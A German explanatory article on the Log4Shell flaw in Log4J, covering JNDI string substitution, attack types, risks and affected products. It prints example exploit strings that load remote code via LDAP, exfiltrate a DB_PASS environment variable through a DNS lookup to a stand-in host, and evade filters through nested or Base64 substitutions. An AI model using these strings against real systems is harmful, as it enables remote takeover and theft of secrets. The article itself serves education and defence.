Log4Shell: Ursachen und Auswirkungen der Java-Sicherheitslücke

Die Log4Shell-Sicherheitslücke erschütterte zum Ende des Jahres 2021 die Cyberwelt. Mit geringem Aufwand war es Angreifenden möglich, global Systeme der größten Organisationen zu infiltrieren. Worum es sich bei Log4Shell handelt und was Sie jetzt unternehmen sollten, erklären wir Ihnen hier.

Bei Log4Shell handelt es sich um eine der schwersten bisher entdeckten Java-Sicherheitslücken. Außer zum Abgreifen sensibler Daten wurde die Schwachstelle insbesondere zum Öffnen einer Reverse Shell auf einem entfernten System ausgenutzt. Besteht eine Reverse Shell, können Angreifende weiteren Schadcode einspielen oder das System komplett übernehmen. Die US-amerikanische National Vulnerability Database (NVD, „Nationale Schwachstellen-Datenbank“) bewertete die Log4Shell-Sicherheitslücke mit dem höchsten Wert von 10.0 als „Critical“.

Bekannt wurde Log4Shell als kritische Sicherheitslücke mit dem bisher weitesten Ausmaß. Denn die zugrundeliegende Schwachstelle befand sich in der breitflächig eingesetzten Java-Logging-Bibliothek Log4J. Beim Bekanntwerden waren mehr als 35.000 Pakete auf Maven Central, dem größten Java-Repository, von der Sicherheitslücke betroffen. Log4Shell bedrohte tausende Produkte hunderter Anbieter; neben Cloud-Diensten und Software waren auch Hardware-Lösungen betroffen.

Besonders besorgniserregend ist der Umstand, dass die Log4Shell-Sicherheitslücke bereits seit dem Jahr 2013 existierte. Von der Öffentlichkeit unbemerkt bestand somit die Möglichkeit, vielfältige Systeme auch großer Anbieter zu infiltrieren. Dabei muss man davon ausgehen, dass professionelle Gruppen wie Geheimdienste und Hackerinnen und Hacker die Schwachstelle aktiv ausgenutzt haben, um Systeme anzugreifen und Daten zu entwenden.

Der Name „Log4Shell“ drückt bereits das grundlegende Wirkprinzip der Sicherheitslücke aus. Eine Schwachstelle in der Java-Logging-Bibliothek Log4J wird ausgenutzt, um eine Reverse Shell auf einem entfernten System zu starten. Doch was genau ist Log4J und worum handelt es sich bei einer Reverse Shell?

Die von der Apache Software Foundation gepflegte Bibliothek Log4J ist eines der am weitesten verbreiteten Standardtools für Logging in Java. Logging-Funktionalität ist ein wesentlicher Bestandteil größerer Systeme, die kontinuierlich Statusmeldungen erzeugen, auswerten und speichern. Zu den standardmäßig geloggten Daten gehören u. a. Header-Angaben, die bei HTTP-Anfragen an Webserver übertragen werden. Hier ein Beispiel eines Apache-Log-Eintrags; beim letzten Teil handelt es sich um den sogenannten User Agent String:

Unter einer Reverse Shell versteht man ein Einfallstor, mit dem Angreifende ein entferntes System manipulieren bzw. übernehmen können. Das Starten einer Reverse Shell gehört zum Standardrepertoire krimineller Hackerinnen und Hacker und erfordert in der Regel einen bestehenden Zugang zum betroffenen System. Genau dieser Zugang lässt sich unter Ausnutzung der Log4Shell-Sicherheitslücke mit geringem Aufwand schaffen.

Kernproblem der Log4Shell-Sicherheitslücke ist die Nutzung sogenannter String Substitutions („Ersetzungen von Zeichenketten“) als Teil der Log4J-Funktionalität. Substitutions erlauben das Einfügen dynamischer Inhalte in Platzhaltern. Das funktioniert ähnlich der Ersetzung von Variablen in Shell-Skripten. In Bezug auf die Sicherheit ist es problematisch, wenn die Inhalte von Substitutions von außen manipulierbar sind. Genau dies ist der Fall, wenn nutzerdefinierte Daten wie der User Agent String geloggt werden.

Schauen wir uns an, wie Substitutions aufgebaut sind und funktionieren. Die generelle Syntax einer Substitution besteht aus zwei Teilen: einem Platzhalter, der wie in Shell-Skripten durch ein Dollarzeichen und geschweiften Klammern gebildet wird, sowie einem Prefix-Name-Paar, getrennt durch einen Doppelpunkt:

Der Prefix gibt an, welche Art von Substitution ausgeführt werden soll. Der folgende Beispiel-Code wird bei der Ausführung durch die Java-Version des laufenden Systems ersetzt:

Selbst ein so harmlos erscheinendes Beispiel eröffnet Angreifenden die Möglichkeit, in der jeweiligen Java-Version bekannte Sicherheitslücken auszunutzen. In der Tat sind mehrere der möglichen Substitutions kritisch in Bezug auf die Sicherheit des ausführenden Systems. Im Zusammenhang mit Log4Shell wurden insbesondere Substitutionen des JNDI Lookup berüchtigt.

Das Java Naming and Directory Interface (JNDI) ermöglicht das Nachladen von Konfigurationen aus einer lokalen Java-Klasse. Es ist jedoch ebenfalls möglich, Konfigurationen mit JNDI von einem entfernten System zu laden. Insbesondere kamen bei Log4Shell-Angriffen unter Kontrolle der Angreifenden stehende LDAP-Server zum Einsatz. Von diesen wurde der eigentliche Schadcode ausgeliefert, um die Reverse Shell zu öffnen. Denn eine Java-Klasse kann beliebigen Code enthalten.

So genügte es, einem System mit verwundbarem Log4J eine Zeichenkette der Form ${jndi:ldap://example.com/evil-file} unterzuschummeln. Beim anschließenden Auflösen der Substitution wird Exploit-Code von einem unter Kontrolle stehenden LDAP-Server nachgeladen. Der Exploit wird auf dem verwundbaren System ausgeführt. Je nach Ziel der Angreifenden lässt sich so Scareware und andere Malware installieren.

Neben JNDI lassen sich auch die Prefixe 'env' und 'base64' für Angriffe nutzen. Hier ein Überblick der verfügbaren Substitution-Prefixe samt Kontext:

Eine Sicherheitslücke lässt sich durch Anwendung eines spezifischen Vorgehens ausnutzen. Man spricht dabei von einem Exploit. Oft existieren mehrere Exploits für eine einzelne Sicherheitslücke. Auch bei Log4Shell ist dies der Fall. Beim Bekanntwerden kristallisierten sich zwei hauptsächliche Angriffsarten heraus. Sie unterschieden sich nach dem jeweils eingesetzten JNDI-Aufruf:

1. Server bzw. Gerät übernehmen

Bei dieser Angriffsart wird eine Reverse-Shell auf dem Zielsystem gestartet. Dafür kommen ggf. weitere Exploits zum Einsatz, die die Kapazität voraussetzen, bösartigen Code auf dem Zielsystem auszuführen. Genau dieses Szenario wurde durch das Logging einer speziell präparierten Zeichenkette ermöglicht.

Um einen verwundbaren Webserver anzugreifen, genügt es, eine beliebige Ressource abzufragen und einen Exploit-String als User Agent zu nutzen. Der Webserver loggt den Exploit-String, die Substitution wird ausgeführt und der Angriff nimmt seinen Lauf. Hier ein Beispiel für einen geloggten Exploit-String:

2. Sensible Daten abgreifen

Bei dieser Angriffsart werden sensible Daten in Form von Umgebungsvariablen vom Zielsystem ausgelesen. Der Exploit beruht auf darauf, eine angebliche DNS-Namensauflösung durch Substitution dynamisch zu erzeugen. Dabei wird der Wert einer Umgebungsvariable als Subdomäne kodiert:

In beiden Fällen nutzen Angreifende ein unter der eigenen Kontrolle stehendes System als Brückenkopf. Im ersten Fall handelt es sich um einen LDAP-Server, der Schadcode ausliefert. Im zweiten Fall steht der Nameserver, an den die DNS-Anfrage geht, unter Kontrolle der Angreifenden. Schauen wir uns diesen Fall im Detail an.

Stellen wir uns vor, dass eine Umgebungsvariable mit Namen 'DB_PASS' auf dem verwundbaren System das Passwort für eine Datenbank enthält. Nehmen wir an, es handele sich um den Wert e3CtDewUUwAfiwWTFtAhfettlQ2Lp5. Der Exploit-String ${jndi:dns://${env:DB_PASS}.example.com} löst eine DNS-Anfrage nach der Subdomäne e3CtDewUUwAfiwWTFtAhfettlQ2Lp5.example.com aus.

Die DNS-Anfrage für example.com geht an den Nameserver, der unter Kontrolle der Angreifenden steht. Der bösartige Nameserver liest den Wert der Subdomäne aus und speichert selbigen. Die Angreifenden erlangen so das Datenbankpasswort des verwundbaren Servers.

Die große Gefahr der Log4Shell-Sicherheitslücke ergab sich aus der Kombination der Risikofaktoren. Betrachten wir die wichtigsten:

1. Java-Sicherheitslücke liegt in Logging-Bibliothek.

Eine Logging-Bibliothek wie Log4J erscheint zunächst relativ harmlos. Im Vergleich mit Bibliotheken für Authentifizierung oder Verschlüsselung dürfte eine Logging-Bibliothek weniger kritisch beäugt werden.

2. Java wird breitflächig eingesetzt.

Ein Alleinstellungsmerkmal von Java als Sprache und Umgebung ist, dass Java auf so gut wie allen Plattformen läuft. Die Log4Shell-Sicherheitslücke betrifft daher eine enorm große Vielfalt an Programmen und Diensten. Ferner ist Java z. T. in Embedded-Systemen wie Routern und Internet-of-Things-Geräten integriert. Dazu gehören z. B. private Kameras und Smart-Home-Geräte.

3. Ein Stapel von Technologien ist involviert.

Die sicherheitsrelevante Problematik ergibt sich durch die Verkettung mehrerer Technologien. Erst die Kombination aus Log4J, JNDI, LDAP und String Substitutions führt zur Sicherheitslücke und eröffnet Angriffen Tür und Tor.

4. Exploit sickert auf tiefere Ebenen durch.

Betrifft eine Sicherheitslücke nur das verwundbare System, bleibt der Schaden im besten Fall lokalisiert. Stellen wir uns jedoch vor, dass ein Exploit-String über eine Weboberfläche entgegengenommen und geloggt wird. Eventuell wird der Exploit-String an darunterliegende Systeme weitergereicht und erst bei dortiger Auswertung aktiv.

5. Exploit-Strings sind schwer zu entdecken.

Aufgrund der Komplexität der möglichen Substitutionen bieten sich vielfältige Möglichkeiten, bösartigen Code zu verschleiern. So sind verschachtelte Substitutionen möglich. Ein String der Form ${${lower:j}ndi} enthält nicht direkt die Zeichenkette jndi und lässt sich nicht automatisch filtern. Erst bei der Auflösung entsteht der String ${jndi}. Ferner ist es möglich, Teile des Codes mit Base64-Kodierung zu verschleiern. So evaluiert der String ${base64:SGVsbG8gV29ybGQhCg==} zu „Hello World!“.

Mit Bekanntwerden der Log4Shell-Sicherheitslücke kam es zu breitflächigen Angriffen auf Systeme weltweit. Vor allem die Übernahme von Servern und Geräten, aber auch die Entwendung sensibler Daten wurde beobachtet. Zehn Tage nach Veröffentlichung der Exploits resümierte die Cybersicherheitsfirma Wiz:

Die übernommenen Systeme wurden u. a. missbraucht, um Crypto-Münzen zu schürfen, Botnetze zu kreieren und Spam zu verschicken. Ferner wurden sogenannte Backdoors („Hintertüren“) angelegt, um das zukünftige Durchführen krimineller Aktivitäten wie Ransomware-Angriffe zu ermöglichen. Zielt ein Angriff darauf ab, unentdeckt zu bleiben und weitere Systeme zu infiltrieren, spricht man auch von Advanced Persistent Threats (APT, „fortgeschrittene andauernde Bedrohung“).

Größere Organisationen reagierten in der Regel zügig auf das Bekanntwerden von Log4Shell und unternahmen Schritte, ihre Systeme zu schützen. Dennoch muss man davon ausgehen, dass ungepatchte Systeme weiterhin bedroht sind. Denn Angreifende scannen in der Regel ein Zielsystem und versuchen, so Schwachstellen ausfindig zu machen.

Erschwerend bei der Bekämpfung der Log4Shell-Sicherheitslücke kommt hinzu, dass die Erkennung verwundbarer Systeme ggf. schwierig ist. Wenn Java-Anwendungen als Containern laufen oder als archivierte JAR-Datei oder Container-Image vorliegen, ist es nicht trivial, auf verwundbare Versionen von Log4J zu testen. Ist nicht bekannt, dass eine verwundbare Version im Einsatz ist, lässt sich diese nicht absichern. So bleibt das System durch die Log4Shell-Sicherheitslücke angreifbar.

Problematischer als Cloud- und Server-Umgebungen sind Smart-Home- und andere IoT- bzw. Embedded-Systeme. Dazu gehören vernetzte Geräte wie private Router, Überwachungskameras und dergleichen. Da die Log4Shell-Sicherheitslücke schon seit Jahren bestand, ist anzunehmen, dass Geräte mit unsicherer Version weiterhin in Betrieb sind. Ist der Support bereits ausgelaufen oder existiert der Anbieter nicht mehr, sind für gewöhnlich keine Patches oder Updates verfügbar.

Eine umfangreiche Auflistung der von Log4Shell betroffenen Software findet sich auf GitHub. Gepflegt wird die Liste vom niederländischen Nationaal Cyber Security Centrum (NCSC-NL), dem Pendant zum deutschen Bundesamt für Sicherheit in der Informationstechnik (BSI). Aufgrund der Fülle verwundbarer Software liegt die Liste nach Anfangsbuchstaben der jeweiligen Hersteller geordnet vor.

Auch private Nutzende waren von Log4Shell betroffen. Denn viele der beliebtesten Onlinedienste waren zum Zeitpunkt der Veröffentlichung verwundbar. Dazu gehörten beispielsweise Minecraft, Steam, AWS und Apples iCloud. In der Regel haben die großen Anbieter schnell reagiert. Sie brauchen also nicht Ihren Steam-Account löschen oder auf eine AWS-Alternative umsatteln.

Wenn Sie jedoch einen eigenen Minecraft-Server betreiben, sollten Sie den Minecraft-Server auf die neueste Version aktualisieren. Denn bei verwundbaren Versionen genügt das Versenden eines Exploit-Strings als Chatnachricht, um den Server zu übernehmen.

In Eigenheimen oder kleinen Betrieben eingesetzte Hardware, die durch die Log4Shell-Sicherheitslücke verwundbar ist, stellt weiterhin eine Bedrohung für Privatanwendende dar. Beispielsweise kann es genügen, einer Überwachungskamera einen speziell präparierten Barcode zu präsentieren, um das Gerät zu übernehmen.